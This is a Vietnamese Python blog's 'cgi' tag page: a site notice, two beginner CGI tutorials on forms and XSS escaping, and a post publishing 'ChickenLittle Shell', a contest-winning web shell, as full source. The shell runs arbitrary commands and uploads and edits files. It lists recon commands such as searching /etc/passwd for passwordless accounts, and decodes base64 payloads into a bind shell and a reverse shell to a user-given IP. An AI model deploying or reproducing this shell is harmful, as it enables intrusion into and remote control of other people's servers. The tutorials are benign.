Python cho người Việt

Python cho người Việt

Entries tagged “cgi”

Vithon nâng cấp sử dụng Gevent

written by vithon, on Aug 1, 2011 8:25:00 AM.

Suốt thời gian qua, nhóm PCNV đã sử dụng chế độ CGI để chạy các ứng dụng web và vẫn đảm bảo được việc truy cập của các bạn quan tâm đến ngôn ngữ Python.

Tuy nhiên, để tránh các vấn đề kỹ thuật có thể phát sinh khi số lượng thành viên tăng lên, cũng như do đòi hỏi của một số tính năng trên diễn đàn, nhóm PCNV đã chuyển hai ứng dụng web là Zine và Vithon Forum qua chạy cùng Gevent, tận dụng chế độ trao đổi không đồng bộ. Việc chuyển đổi này hy vọng sẽ khiến tốc độ truy cập được cải tiến đáng kể.

Nếu các bạn gặp trục trặc trong việc truy cập vào trang PCNV và diễn đàn, thì các bạn hãy thông báo cho chúng tôi theo thông tin liên lạc ở đầu trang.

ChickenLittle Shell

written by vithon, on May 19, 2010 1:41:00 PM.

Nhân dịp kỷ niệm 120 năm ngày sinh lãnh tụ Hồ Chí Minh, nhóm PCNV xin gửi đến bạn đọc bài dự thi đạt giải nhất cuộc thi Web Shell Programming Contest kết thúc vào ngày 15 tháng 05 vừa qua.

#!/usr/bin/python
"""
ChickenLittle Shell by Zep
"""

try:
    import cgitb; cgitb.enable()
except:
    pass
import sys, cgi, os, base64, subprocess
from time import strftime
from string import Template

bind_port = """aW1wb3J0IG9zLCBzeXMsIHNvY2tldCwgdGltZQpQT1JUID0gaW50KHN5cy5hcmd2WzFdKQpQVyA9
IHN5cy5hcmd2WzJdCnNvY2sgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5T
T0NLX1NUUkVBTSkKc29jay5iaW5kKCgiMC4wLjAuMCIsUE9SVCkpCnNvY2subGlzdGVuKDUpClNI
RUxMPSIvYmluL2Jhc2ggLWkiCndoaWxlIFRydWU6CiAgICB0cnk6CQogICAgICAgIChjb25uLGFk
ZHIpID0gc29jay5hY2NlcHQoKQogICAgICAgIG9zLmR1cDIoY29ubi5maWxlbm8oKSwwKQogICAg
ICAgIG9zLmR1cDIoY29ubi5maWxlbm8oKSwxKQogICAgICAgIG9zLmR1cDIoY29ubi5maWxlbm8o
KSwyKQogICAgICAgIHByaW50ID4+IHN5cy5zdGRlcnIsICdQYXNzd29yZDogJywKICAgICAgICBw
ID0gY29ubi5yZWN2KDEwMjQpCiAgICAgICAgcCA9IHAuc3RyaXAoKQogICAgICAgIGlmIHAgPT0g
UFc6CiAgICAgICAgICAgIG9zLnN5c3RlbSgiL2Jpbi9iYXNoIC1pIikKICAgICAgICBlbHNlOgog
ICAgICAgICAgICBwcmludCA+PiBzeXMuc3RkZXJyLCAiR28gdG8gaGVsbCIKICAgICAgICBjb25u
LmNsb3NlKCkKICAgIGV4Y2VwdCBFeGNlcHRpb24sZTogIAogICAgICAgIHByaW50IGUKICAgICAg
ICB0aW1lLnNsZWVwKDEpCg=="""

back_connect = """aW1wb3J0IHNvY2tldCwgb3MsIHN5cwpIT1NUID0gc3lzLmFyZ3ZbMV0KUE9SVCA9IGludChzeXMu
YXJndlsyXSkKU0hFTEwgPSAiL2Jpbi9iYXNoIC1pIgpzb2NrID0gc29ja2V0LnNvY2tldChzb2Nr
ZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnNvY2suY29ubmVjdCgoSE9TVCxQT1JUKSkK
dHJ5OgogICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAwKQogICAgb3MuZHVwMihzb2NrLmZpbGVu
bygpLCAxKQogICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAyKQogICAgb3Muc3lzdGVtKFNIRUxM
KQpleGNlcHQgRXhjZXB0aW9uLGU6CiAgICBwcmludCBlCnNvY2suY2xvc2UoKQo="""

# HTML

html = Template("""
<html>
<head>
    <title>ChickenLittle Shell</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> 
    <style>
        body {
            color:#fff;
            background-color:#585858;
            font-size:11px;
        }
        table {
            font-family: Verdana, Tahoma;
            font-size:11px;
        }
        tr {
            border: #D9D9D9 1px solid;
        }
        td {
            border: #D9D9D9 1px solid;
        }
        a { 
            color: #fff;
        }
        input {
            background-color:#800000;
            color:#FFFFFF;
            font-family:Tahoma;
            font-size:8pt;
        }
        select {
            background-color:#800000;
            color:#FFFFFF;
            font-family:Tahoma;
            font-size:8pt;
        }
        textarea {
            background-color:#800000;
            color:#FFFFFF;
            font-family:Tahoma;
            font-size:8pt;
        }
    </style>
</head>
<body>
    <script type="text/javascript">
        function toggleEnviron()
        {
            if (document.getElementById('environ_table').style.display=="none")
                document.getElementById('environ_table').style.display="";
            else
                document.getElementById('environ_table').style.display="none";
        }
    </script>
    <center><h2>=== ChickenLittle Shell ===</h2></center>
    <a href="javascript:void(0)" onclick="javascript:toggleEnviron()">Show/Hide Environment variables</a>
    $environ_table
    <p />
    <table width="100%">
        <tr><td>
            uname -a: $uname <br />
            $uid
        </td></tr>
    </table>
    <p />
    <div style="display:$edit_file_box_visibility">
        <b>Edit File:</b> <br />
        <form method="POST" action="?">
            <textarea name="file_content" cols="200" rows="30" >$file_content</textarea>
            <input type="hidden" value="$cur_dir" size="50" name="cur_dir" /> <br />
            <input type="hidden" value="save_file" size="50" name="command" /> <br />
            <input type="hidden" value="$file_name" size="50" name="file_name" /> <br />
            <input type="submit" value="Save">       
        </form>
        <p />
    </div>
    <table width="100%">
        <tr>    
            <td style="text-align:center">
                <b>:: Change Dir ::</b><br />
                <form action="?" method="POST">
                    <input type="text" value="$cur_dir" size="50" name="cur_dir">&nbsp;<input type="submit" value="Go">
                </form>
            </td>
            <td style="text-align:center">
                <b>:: Get File ::</b><br />
                <form action="?" method="POST">
                    <input type="text" value="$cur_dir" size="50" name="cur_dir">&nbsp;<input type="submit" value="Go">
                </form>
            </td>
        </tr>
    </table>
    <p />
    <table width="100%">
        <tr>
            <td colspan="2" style="text-align:center"><b>$cur_dir</b></td>
        </tr>
        <tr>
            <td><pre>$list_files</pre></td>
        </tr>
    </table>
    <p />
    <b>Result of command</b><br />
    <table width="100%">
        <tr>
            <td>
                <textarea cols="200" rows="10">$command_result</textarea>
            </td>
        </tr>
    </table>
    <table width="100%">
        <tr>    
            <td style="text-align:center" width="50%">
                <b>:: Execute Command ::</b><br />
                <form action="?" method="POST">
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir" />
                    <input type="text" value="" size="50" name="command">&nbsp;<input type="submit" value="Execute">
                </form>
            </td>
            <td style="text-align:center">
                <b>:: Useful Commands ::</b><br />
                <form action="?" method="POST">
                    <select name="command">
                        <option value="uname -a">Kernel version</option>
                        <option value="w">Logged in users</option>
                        <option value="lastlog">Last to connect</option>
                        <option value="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins</option>
                        <option value="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!</option>
                        <option value="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?</option>
                        <option value="which wget curl w3m lynx">Downloaders?</option>
                        <option value="cat /proc/version /proc/cpuinfo">CPUINFO</option>
                        <option value="netstat -atup | grep IST">Open ports</option>
                        <option value="locate gcc">gcc installed?</option>
                    </select>
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir" />
                    <input type="submit" value="Go" />
                </form>
            </td>
        </tr>
    </table>    
    <p />
    <table width="100%">
        <tr>    
            <td style="text-align:center" width="50%">
                <b>:: Create Dir ::</b><br />
                <form action="?" method="POST">
                    <input type="text" value="$cur_dir" size="50" name="new_dir">&nbsp;<input type="submit" value="Create">
                    <input type="hidden" value="mkdir" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
            <td style="text-align:center">
                <b>:: Upload File ::</b><br />
                <form action="?" method="POST" enctype="multipart/form-data">
                    <input type="file" name="file">&nbsp;<input type="submit" value="Upload">
                    <input type="hidden" value="upload" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
        </tr>
    </table>
    <p />
    <table width="100%">
        <tr>    
            <td style="text-align:center" width="50%">
                <b>:: Search Text in Files ::</b><br />
                <form action="?" method="POST">
                    <table width="100%">
                        <tr>
                            <td width="50%" style="border:none;text-align:right">Text: </td>
                            <td style="border:none"><input type="text" value="" size="30" name="search_text" /></td>
                        </tr>
                        <tr>
                             <td width="50%" style="border:none;text-align:right">Directory: </td>
                            <td style="border:none"><input type="text" value="$cur_dir" size="30" name="search_dir" /></td>
                        </tr>
                        <tr>
                             <td width="50%" style="border:none;text-align:right">Include File Pattern: </td>
                            <td style="border:none"><input type="text" value="" size="30" name="include_pattern" /></td>
                        </tr>
                        <tr>
                             <td width="50%" style="border:none;text-align:right">Exclude File Pattern: </td>
                            <td style="border:none"><input type="text" value="" size="30" name="exclude_pattern" /></td>
                        </tr>
                    </table>
                    <input type="submit" value="Search">
                    <input type="hidden" value="search_text" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
            <td style="text-align:center;vertical-align:top">
                <b>:: Edit File ::</b><br />
                <form action="?" method="POST">
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir" />
                    <input type="hidden" value="edit_file" size="50" name="command">
                    <input type="text" value="$cur_dir" size="50" name="file_name">
                    &nbsp;<input type="submit" value="Edit">
                </form>
            </td>
        </tr>
    </table>
    <p />
    <table width="100%">
        <tr>    
            <td style="text-align:center" width="50%">
                <b>:: Bind port to /bin/bash ::</b><br />
                <form action="?" method="POST">
                    <table width="100%">
                        <tr>
                            <td width="50%" style="border:none;text-align:right">Port: </td>
                            <td style="border:none"><input type="text" value="" size="10" name="port" /></td>
                        </tr>
                        <tr>
                            <td style="border:none;text-align:right">Password: </td>
                            <td style="border:none"><input type="text" value="" size="10" name="password" /></td>
                        </tr>
                    </table>
                    <input type="submit" value="Bind">
                    <input type="hidden" value="bind_port" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
            <td style="text-align:center" width="50%">
                <b>:: back-connect ::</b><br />
                <form action="?" method="POST">
                    <table width="100%">
                        <tr>
                            <td width="50%" style="border:none;text-align:right">IP: </td>
                            <td style="border:none"><input type="text" value="" size="10" name="ip" /></td>
                        </tr>
                        <tr>
                            <td style="border:none;text-align:right">Port: </td>
                            <td style="border:none"><input type="text" value="" size="10" name="port" /></td>
                        </tr>
                    </table>
                    <input type="submit" value="Connect">
                    <input type="hidden" value="back_connect" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
        </tr>
    </table>
    <p />
    <table width="100%">
        <tr>
            <td style="text-align:center"><b>(.)(.) [ChickenLittle Shell by Zep] (.)(.)</b></td>
        </tr>
    </table>
</body>
</html>
""")

scriptname = ""

if os.environ.has_key("SCRIPT_NAME"):
    scriptname = os.environ["SCRIPT_NAME"]

def get_environ_table():
    s = "<table style=\"display:none\" id=\"environ_table\">"
    for k in os.environ:
        s+="<tr><td>%s</td><td>%s</td></tr>"%(k,os.environ[k])
    s+="</table>"
    return s

def run_command(command):
    p = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, close_fds=True)
    (i,o) = p.stdin,p.stdout
    return o.read()

def get_param(form, param,default=None):
    if form.has_key(param):
        return form.getvalue(param)
    return default

def can_write(file_name):
    try:
        f = open(file_name,"w")
        f.close()
        return True
    except:
        return False

def put_script(base_name,encoded_script):
    script = base64.b64decode(encoded_script)
    i = 0
    file_name = "/tmp/"+base_name + str(i)  
    while not can_write(file_name):
        i+=1
        file_name = "/tmp/"+base_name + str(i)  
    
    f = open(file_name,"w")
    f.write(script)
    f.close()
    return file_name

def main():

    print "Content-type: text/html"         # header
    print                                   # blank line

    form = cgi.FieldStorage()
    uname = run_command("uname -a")
    uid = run_command("id")

    cur_dir = get_param(form, "cur_dir",os.getcwd())

    if not os.path.exists(cur_dir):
        cur_dir = os.getcwd()
    os.chdir(cur_dir)
    command = get_param(form,"command")
    command_result = ""

    file_content = ""
    file_name = ""
    edit_file_box_visibility = "None"

    if command == "mkdir":
        new_dir = get_param(form,"new_dir")
        command_result = run_command("mkdir " + new_dir)	
    elif command == "upload":
        upload_file = form["file"]
        try:
            f  = open(upload_file.filename,"w")
            while True:
                chunk = upload_file.file.read(1024)
                if not chunk: break
                f.write(chunk)
            f.close()
        except Exception,e:
            command_result = str(e)

    elif command == "search_text":
        search_text = get_param(form,"search_text","")
        search_dir = get_param(form,"search_dir",".")
        include_pattern = get_param(form,"include_pattern")
        exclude_pattern = get_param(form,"exclude_pattern")
        cmd = "grep -ir \"%s\" %s " % (search_text,search_dir)
        if include_pattern:
            cmd += "--include=%s " % include_pattern
        if exclude_pattern:
            cmd += "--include=%s " % exclude_pattern
        command_result = run_command(cmd)

    elif command == "edit_file":
        file_name = get_param(form,"file_name")
        try:
            f = open(file_name,"r")
            file_content = f.read()
            f.close()
            edit_file_box_visibility = ""            
        except:
            command_result = "Cannot open file"
            file_content = ""
            edit_file_box_visibility = "None"

    elif command == "save_file":
        file_name = get_param(form,"file_name")
        file_content = get_param(form,"file_content")
        try:
            f = open(file_name,"w")
            f.write(file_content)
            f.close()
            command_result = "Successful"
        except:
            command_result = "Cannot write to file"
                
    elif command == "bind_port":
        port = get_param(form,"port")
        password = get_param(form,"password")
        file_name = put_script("bp",bind_port)
        pid = subprocess.Popen(["python %s %s %s" % (file_name,port,password)],shell=True).pid
        command_result = "Process ID : %d " % pid

    elif command == "back_connect":
        port = get_param(form,"port")
        ip = get_param(form,"ip")
        file_name = put_script("bc",back_connect)
        pid = subprocess.Popen(["python %s %s %s" % (file_name,ip,port)],shell=True).pid
        command_result = "Process ID : %d " % pid

    elif command != None:
        command_result = run_command(command)

    list_files = run_command("ls -alh " + cur_dir)

    print html.substitute(environ_table=get_environ_table(),
                          uname = uname,
                          uid = uid,
                          list_files = list_files,
                          cur_dir = cur_dir,
                          command_result = command_result,
                          file_content = file_content,
                          file_name    = file_name,
                          edit_file_box_visibility = edit_file_box_visibility
                            )

if __name__ == '__main__':
    main()

Lập trình web với Python (4)

written by Nguyễn Thành Nam, on Mar 10, 2010 12:46:00 PM.

Trong kỳ này, chúng ta sẽ xem xét một chương trình CGI có xử lý dữ liệu nhập.

Ở kỳ trước, chúng ta đã biết cấu trúc chung của một chương trình CGI. Chương trình CGI mà chúng ta dùng làm ví dụ không thật sự hữu dụng vì chúng chỉ xuất giá trị ngẫu nhiên.

Một chương trình CGI hữu dụng thường sẽ nhận dữ liệu nhập qua các mẫu đơn (form), xử lý các dữ liệu này, và trả về kết quả.

Các dữ liệu nhập được truyền đến ứng dụng web ở dạng bộ 2 (khóa, giá trị) (key-value pair). Ví dụ nếu chúng ta điền vào một mẫu đơn có trường nhập tên là name và giá trị của nó là Nguyễn Việt Nam thì khóa sẽ là name và giá trị là Nguyễn Việt Nam. Thông thường có hai phương thức truyền dữ liệu đến ứng dụng web là GET và POST.

Trong phương thức GET, các bộ 2 (khóa, giá trị) này sẽ được truyền qua URL. Với ví dụ ở trên, URL sẽ có dạng http://host/path?name=Nguyễn+Việt+Nam. Bạn đọc sẽ chú ý các điểm quan trọng sau:

  1. Đi ngay phía sau đường dẫn đến ứng dụng CGI là một dấu chấm hỏi (?). Ký tự này dùng để thông báo phần phía sau là dữ liệu nhập.
  2. Phân cách giữa khóa và giá trị của dữ liệu nhập là dấu bằng (=).
  3. Khóa và giá trị được chuyển mã theo dạng phù hợp. Chúng ta thấy rằng ký tự khoảng trắng được chuyển thành ký tự cộng (+). Việc chuyển mã này nhằm làm cho URL không chứa các ký tự đặc biệt có thể gây nhầm lẫn.
  4. Không được nêu rõ trong ví dụ là ký tự phân cách các bộ 2 (khóa, giá trị) là ký tự và (&).

Trong phương thức POST, các bộ 2 (khóa, giá trị) được truyền trong nội dung yêu cầu HTTP, và không hiện rõ cho người dùng.

Hãy thử nghiệm với chương trình ví dụ sau (đặt tên nó là fp.py):

#!c:/python26/python

print "Content-Type: text/html"
print

print """<html>
	<head>
		<title>CGI form processing</title>
	</head>
	<body>
		<fieldset>
			<legend>Number guessing game</legend>
			<form method="POST">
				<label for="number">Enter a number</label>
				<input type="text" name="number" value="" />
				<input type="submit" />
			</form>
		</fieldset>
	</body>
</html>
"""

Kết quả mà chúng ta nhận được là một mẫu đơn như hình:

/static/web-programming/cgi/form1.png

Một số điểm quan trọng trong chương trình này là sự sử dụng các thẻ liên quan đến mẫu đơn.

  1. Trước hết là thẻ form dùng để thông báo sự bắt đầu của một mẫu đơn. Các thuộc tính (attribute) thông thường của thẻ này gồm methodaction.
  2. Thuộc tính method xác định phương thức truyền dữ liệu. Chúng ta có thể sử dụng GET hoặc POST.
  3. Thuộc tính action xác định đường dẫn đến chương trình CGI sẽ xử lý mẫu đơn này. Nếu không xác định thì chính địa chỉ hiện tại sẽ được dùng.
  4. Thẻ input xác định một trường nhập. Thẻ này có các thuộc tính chính là type, name, và value.
  5. Thuộc tính type xác định kiểu nhập là một ô nhập (text box), một nút nhấn (button), một nút chọn (radio button), hoặc một tập tin (file). Ở ví dụ này chúng ta xác định một ô nhập với kiểu text.
  6. Thuộc tính name xác định khóa của bộ 2. Trong ví dụ này khóa nhập là number.
  7. Thuộc tính value xác định giá trị khởi đầu của trường nhập này. Chúng ta để trống.
  8. Thẻ input với thuộc tính typesubmit sẽ tạo một nút nhấn. Nút nhấn này đặc biệt vì nó sẽ gửi các giá trị chúng ta nhập vào mẫu đơn đến chương trình CGI.

Thông tin chi tiết về các thẻ HTML có thể được xem thêm từ các tài liệu từ W3C.

Chương trình này cũng chỉ là in ra một mẫu đơn nhưng chúng ta đã có thể nhấn nút để gửi mẫu đơn đó đi.

Chúng ta sẽ sửa nó để in lại những gì đã nhận từ trình duyệt.

#!c:/python26/python

import cgi

print "Content-Type: text/html"
print

print """<html>
	<head>
		<title>CGI form processing</title>
	</head>
	<body>
		<fieldset>
			<legend>Number guessing game</legend>
			<form method="POST">
				<label for="number">Enter a number</label>
				<input type="text" name="number" value="" />
				<input type="submit" />
			</form>
		</fieldset>
"""

form = cgi.FieldStorage()
if form.has_key('number'):
	print """You have entered: %s""" % form.getfirst('number')

print """</body>
</html>
"""

Điều đầu tiên chúng ta nhận ra là sự sử dụng mô-đun cgi. Mô-đun này cho phép chúng ta tạo một đối tượng FieldStorage. Đối tượng FieldStorage chứa các bộ 2 (khóa, giá trị) chúng ta nhận được từ trình duyệt trong một cấu trúc như kiểu từ điển. Do đó chúng ta có thể dùng phương thức has_key để kiểm tra sự tồn tại của khóa tương ứng. Để lấy giá trị từ FieldStorage ta có thể dùng form[’number’].value hoặc gọi các hàm như getvalue, getfirst, hay getlist. Các hàm này được đề cập đến một cách chi tiết trong bộ tài liệu sử dụng Python.

Nếu tinh ý, chúng ta sẽ thấy rằng khi dữ liệu nhập chứa các thẻ HTML hợp lệ thì kết quả xuất ra sẽ hiển thị cả những thẻ HTML này. Ví dụ khi ta nhập Nguyễn <b>Việt</b> Nam.

/static/web-programming/cgi/form2.png

Điều này có thể là đúng theo ý định, hoặc cũng thể nằm ngoài mong muốn. Chúng ta gọi đây là các lỗi kịch bản chéo trang (Cross Site Scripting, XSS). Cách khắc phục là trước khi hiển thị các chuỗi không nằm trong kiểm soát của chương trình (ví dụ như dữ liệu nhập, dữ liệu xuất từ hệ thống khác, v.v…), chúng ta sẽ cần chuyển mã các ký tự đặc biệt. Mô-đun cgi cung cấp hàm escape để làm việc này. Mã nguồn mới sẽ gói getfirst trong cgi.escape như sau:

#!c:/python26/python

import cgi

print "Content-Type: text/html"
print

print """<html>
	<head>
		<title>CGI form processing</title>
	</head>
	<body>
		<fieldset>
			<legend>Number guessing game</legend>
			<form method="POST">
				<label for="number">Enter a number</label>
				<input type="text" name="number" value="" />
				<input type="submit" />
			</form>
		</fieldset>
"""

form = cgi.FieldStorage()
if form.has_key('number'):
	print """You have entered: %s""" % cgi.escape( \
			form.getfirst('number'), True)

print """</body>
</html>
"""

Giờ đây, chuỗi được xuất ra sẽ giống hệt với chuỗi nhập.

/static/web-programming/cgi/form3.png

Chúng ta cũng có thể thử với phương thức GET bằng cách nhập thẳng URL http://localhost/cgi-bin/fp.py?number=Nguyễn+<b>Việt</b>+Nam. Chúng ta cũng sẽ nhận được kết quả tương tự.

Vậy là qua hai phần chúng ta đã tìm hiểu về cách hoạt động của một chương trình CGI. Điểm mạnh của giao thức CGI là tính đơn giản và an toàn cao vì mỗi yêu cầu được một tiến trình riêng xử lý. Cũng chính vì mô hình đơn giản như vậy nên CGI gặp phải nhiều cản trở trong việc phát triển. Cản trở đầu tiên là chương trình CGI phải tự xử lý trạng thái giữa các yêu cầu kế tiếp nhau, hay còn gọi là phiên làm việc (session). Cản trở thứ hai là chương trình CGI sẽ phải được thiết kế đặc biệt nếu muốn sử dụng các biến có phạm vi toàn ứng dụng (application scope). Cuối cùng, chương trình CGI chạy chậm hơn và tốn tài nguyên hơn vì mỗi yêu cầu phải được xử lý riêng.

Trong các phần tới, chúng ta sẽ xem qua cách hoạt động của những công nghệ tiên tiến, giải quyết được các điểm yếu của giao thức CGI.

Lập trình web với Python (3)

written by Nguyễn Thành Nam, on Jan 28, 2010 4:52:25 PM.

Sau khi đã cài đặt máy chủ web, và Python ở hai bài trước, trong bài này chúng ta sẽ bước vào thế giới lập trình web với mô hình đơn giản nhất, mô hình CGI.

CGI là viết tắt của Common Gateway Interface, dịch chính xác là giao tiếp cổng chung. Giao thức này được sinh ra để chuẩn hóa (hay xác định rõ) cách thức một máy chủ web giao phó việc tạo trang web cho các ứng dụng console (các ứng dụng nhận dữ liệu từ bộ nhập chuẩn và xuất ra bộ xuất chuẩn). Các ứng dụng này được gọi là các ứng dụng CGI, hay kịch bản CGI vì chúng thường được viết bằng ngôn ngữ kịch bản, mặc dù chúng cũng có thể được viết bằng các ngôn ngữ khác như C, Java.

Mô hình hoạt động

Thông thường, một máy chủ web nhận yêu cầu từ máy khách và tìm kiếm trên hệ thống xem có tập tin mà máy khách cần truy xuất hay không. Nếu có thì máy chủ web sẽ xuất nội dung của tập tin này cho máy khách.

Trong giao thức CGI, máy chủ web nhận yêu cầu từ máy khách, tìm kiếm trên hệ thống xem có ứng dụng CGI đó không. Nếu có thì máy chủ web sẽ thực thi ứng dụng CGI, chuyển toàn bộ yêu cầu đến ứng dụng thông qua các biến môi trường và bộ nhập chuẩn. Ứng dụng CGI sẽ xử lý yêu cầu rồi gửi trả thông tin cho máy chủ web qua bộ xuất chuẩn. Máy chủ web sẽ nhận thông tin từ bộ xuất chuẩn của ứng dụng CGI để xuất trả lại cho máy khách. Mô hình hoạt động của giao thức CGI được miêu tả trong hình sau.

/static/web-programming/cgi/cgi-model.png

Hello World

Để hiểu rõ hơn cách hoạt động, chúng ta sẽ tạo một tập tin helloworld.py trong thư mục C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin với nội dung như sau:

#!c:/python26/python

print "Content-Type: text/html"
print ""
print "Hello world."

Trước khi giải thích từng dòng lệnh, chúng ta sẽ xem xem kết quả đạt được là gì. Chúng ta sẽ dùng trình duyệt để vào trang http://localhost/cgi-bin/helloworld.py. Dĩ nhiên chúng ta cũng phải đảm bảo rằng máy chủ Apache đang chạy. Và đây là hình mà chúng ta nhận được.

/static/web-programming/cgi/helloworld.png

Các yếu tố chính của chương trình CGI

Như thế, chương trình CGI đầu tiên đã thực thi hoàn chỉnh. Hãy quay lại xem các yếu tố căn bản của một chương trình CGI viết bằng ngôn ngữ Python.

Dòng đầu tiên được gọi là dòng shebang với hai ký tự đặc biệt #!. Phần đi ngay sau hai ký tự này là đường dẫn tuyệt đối đến trình thông dịch Python trên hệ thống. Dòng này nói cho máy chủ web biết rằng tập tin này cần được đọc bởi trình thông dịch Python.

Dòng lệnh print thứ nhất cung cấp một đầu mục (header) cho máy chủ web. Đầu mục này là Content-Type với nội dung là text/html. Đây là đầu mục bắt buộc trong giao thức HTTP, do đó các ứng dụng CGI thông thường phải cung cấp đầu mục này.

Dòng lệnh in thứ hai (in ra một dòng trống) báo hiệu sự kết thúc của các đầu mục, và những gì theo sau sẽ là dữ liệu nội dung. Dòng lệnh này là bắt buộc.

Dòng lệnh in thứ ba xuất nội dung chính, là chuỗi Hello world..

Các dòng lệnh này là những yếu tố chính cấu tạo nên một chương trình CGI viết bằng ngôn ngữ Python. Điểm quan trọng nhất mà chúng ta cần lưu ý là việc xuất dữ liệu thông qua bộ xuất chuẩn (stdout), và định dạng của dữ liệu cần xuất (đầu mục, dòng trống, nội dung).

Thêm vào các thẻ HTML

Chương trình của chúng ta khá buồn tẻ vì chúng ta khai báo Content-Typetext/html nhưng chúng ta không dùng thẻ HTML. Chúng ta hãy sửa lại chương trình như sau:

#!c:/python26/python

print "Content-Type: text/html"
print ""
print """<html>
	<head>
		<title>Python!</title>
	</head>
	<body>
		<font size="+3">H</font>ello <font color="red">HTML</font>.
	</body>
</html>"""

Quay lại trình duyệt và làm tươi (F5, hay Ctrl-R), chúng ta sẽ thấy hình như sau:

/static/web-programming/cgi/hellohtml.png

Content-Type là quan trọng

Những gì chúng ta vừa thực hiện là thay đổi nội mà chúng ta xuất ra bộ xuất chuẩn.

Bây giờ, giữ cùng nội dung đấy, nhưng chúng ta thay đổi đầu mục Content-Type thành text/plain.

#!c:/python26/python

print "Content-Type: text/plain"
print ""
print """<html>
	<head>
		<title>Python!</title>
	</head>
	<body>
		<font size="+3">H</font>ello <font color="red">HTML</font>.
	</body>
</html>"""

Thử xem trang này với các trình duyệt chuẩn ví dụ Opera, hoặc Firefox thì chúng ta sẽ nhận được hình tương tự như sau:

/static/web-programming/cgi/hellohtmlplain.png

Thay vì xử lý những thẻ HTML một cách đặc biệt thì trình duyệt đã không làm như vậy. Và đây là cách làm đúng bởi vì chúng ta nói cho trình duyệt biết rằng nội dung của chúng là ở dạng văn bản thường (plaintext) thông qua đầu mục Content-Type như trên. Trình duyệt IE không tuân theo chuẩn HTTP một cách triệt để nên vẫn sẽ hiển thị nội dung của chúng ta dưới dạng một trang HTML.

Một ít dữ liệu động

Mục đích của chương trình CGI là xử lý và xuất dữ liệu nên sẽ là vô ích nếu chương trình CGI của chúng ta chỉ xuất các trang web tĩnh. Chúng ta sẽ sửa lại chương trình một chút như sau:

#!c:/python26/python

import random

actions = ("rocks", "rules", "kicks butt", "constricts camel")

print "Content-Type: text/html"
print ""
print """<html>
	<head>
		<title>Python!</title>
	</head>
	<body>
		Python %s.
	</body>
</html>""" % random.choice(actions)

Trong chương trình này, chúng ta sử dụng mô-đun random và hàm choice để chọn một hành động ngẫu nhiên. Khi làm tươi trình duyệt, chúng ta có thể gặp các hình tương tự như sau.

/static/web-programming/cgi/dynamic1.png

/static/web-programming/cgi/dynamic2.png

Tóm tắt

Trong kỳ này chúng ta đã được giới thiệu về mô hình hoạt động của giao thức CGI, các yếu tố quan trọng trong một chương trình CGI viết bằng ngôn ngữ Python, một ít kiến thức về giao thức HTTP, và sự đa dạng của thế giới trình duyệt web. Ở kỳ sau chúng ta sẽ tìm hiểu cách nhận dữ liệu từ máy khách qua URL và mẫu đơn (form).